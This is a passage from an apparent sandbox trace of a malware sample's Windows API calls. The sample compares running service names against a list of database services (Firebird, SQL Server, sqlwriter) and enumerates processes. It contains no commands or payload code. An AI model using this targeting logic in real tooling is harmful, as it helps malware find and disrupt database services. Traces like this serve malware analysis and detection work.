lpString2="MpsSvc") returned 1 [0164.215] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.215] lstrlenW (lpString="NcbService") returned 10 [0164.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0164.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0164.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0164.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0164.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0164.215] lstrlenW (lpString="netprofm") returned 8 [0164.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.215] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.215] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.215] lstrlenW (lpString="NgcSvc") returned 6 [0164.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0164.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0164.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0164.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0164.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0164.215] lstrlenW (lpString="NlaSvc") returned 6 [0164.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.216] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.216] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.216] lstrlenW (lpString="nsi") returned 3 [0164.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.216] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.216] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.216] lstrlenW (lpString="PcaSvc") returned 6 [0164.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.216] lstrlenW (lpString="PlugPlay") returned 8 [0164.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.216] lstrlenW (lpString="Power") returned 5 [0164.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.216] lstrlenW (lpString="ProfSvc") returned 7 [0164.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.216] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.216] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.216] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.217] lstrlenW (lpString="RpcSs") returned 5 [0164.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.217] lstrlenW (lpString="SamSs") returned 5 [0164.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.217] lstrlenW (lpString="Schedule") returned 8 [0164.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.217] lstrlenW (lpString="SecurityHealthService") returned 21 [0164.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0164.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0164.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0164.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0164.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0164.217] lstrlenW (lpString="SENS") returned 4 [0164.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.218] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.218] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.218] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.218] lstrlenW (lpString="Spooler") returned 7 [0164.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.218] lstrlenW (lpString="StateRepository") returned 15 [0164.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0164.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0164.218] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0164.218] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0164.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0164.218] lstrlenW (lpString="SysMain") returned 7 [0164.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0164.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.218] lstrlenW (lpString="SystemEventsBroker") returned 18 [0164.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0164.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0164.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0164.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0164.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0164.218] lstrlenW (lpString="Themes") returned 6 [0164.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.219] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0164.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0164.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0164.219] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0164.219] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0164.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0164.219] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0164.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0164.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0164.219] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0164.219] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0164.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4047ca0 | out: hHeap=0x420000) returned 1 [0164.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x508 [0164.226] Process32FirstW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.226] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.227] lstrlenW (lpString="System") returned 6 [0164.227] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.227] lstrlenW (lpString="smss.exe") returned 8 [0164.227] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.228] lstrlenW (lpString="csrss.exe") returned 9 [0164.228] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.228] lstrlenW (lpString="wininit.exe") returned 11 [0164.228] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.229] lstrlenW (lpString="csrss.exe") returned 9 [0164.229] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.633] lstrlenW (lpString="winlogon.exe") returned 12 [0164.634] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.634] lstrlenW (lpString="services.exe") returned 12 [0164.634] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.635] lstrlenW (lpString="lsass.exe") returned 9 [0164.635] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0164.635] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0164.635] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0164.636] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0164.636] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.636] lstrlenW (lpString="svchost.exe") returned 11 [0164.636] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.636] lstrlenW (lpString="svchost.exe") returned 11 [0164.637] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.637] lstrlenW (lpString="dwm.exe") returned 7 [0164.637] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.637] lstrlenW (lpString="svchost.exe") returned 11 [0164.637] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.638] lstrlenW (lpString="svchost.exe") returned 11 [0164.638] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.638] lstrlenW (lpString="svchost.exe") returned 11 [0164.638] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.639] lstrlenW (lpString="svchost.exe") returned 11 [0164.639] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.639] lstrlenW (lpString="svchost.exe") returned 11 [0164.639] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.640] lstrlenW (lpString="svchost.exe") returned 11 [0164.640] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.640] lstrlenW (lpString="svchost.exe") returned 11 [0164.640] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.640] lstrlenW (lpString="svchost.exe") returned 11 [0164.641] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.641] lstrlenW (lpString="svchost.exe") returned 11 [0164.641] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.641] lstrlenW (lpString="svchost.exe") returned 11 [0164.641] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.642] lstrlenW (lpString="spoolsv.exe") returned 11 [0164.642] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.642] lstrlenW (lpString="svchost.exe") returned 11 [0164.642] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.643] lstrlenW (lpString="audiodg.exe") returned 11 [0164.643] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0164.643] lstrlenW (lpString="sihost.exe") returned 10 [0164.643] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.643] lstrlenW (lpString="svchost.exe") returned 11 [0164.644] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0164.644] lstrlenW (lpString="taskhostw.exe") returned 13 [0164.644] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0164.644] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0164.644] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0164.645] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0164.645] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0164.645] lstrlenW (lpString="Memory Compression") returned 18 [0164.645] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.646] lstrlenW (lpString="explorer.exe") returned 12 [0164.646] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0164.646] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0164.646] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0164.647] lstrlenW (lpString="SearchUI.exe") returned 12 [0164.647] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0164.647] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0164.647] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0164.647] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0164.647] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0164.648] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0164.648] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0164.648] lstrlenW (lpString="cmd.exe") returned 7 [0164.648] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.649] lstrlenW (lpString="conhost.exe") returned 11 [0164.649] Process32NextW (in: hSnapshot=0x508, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, 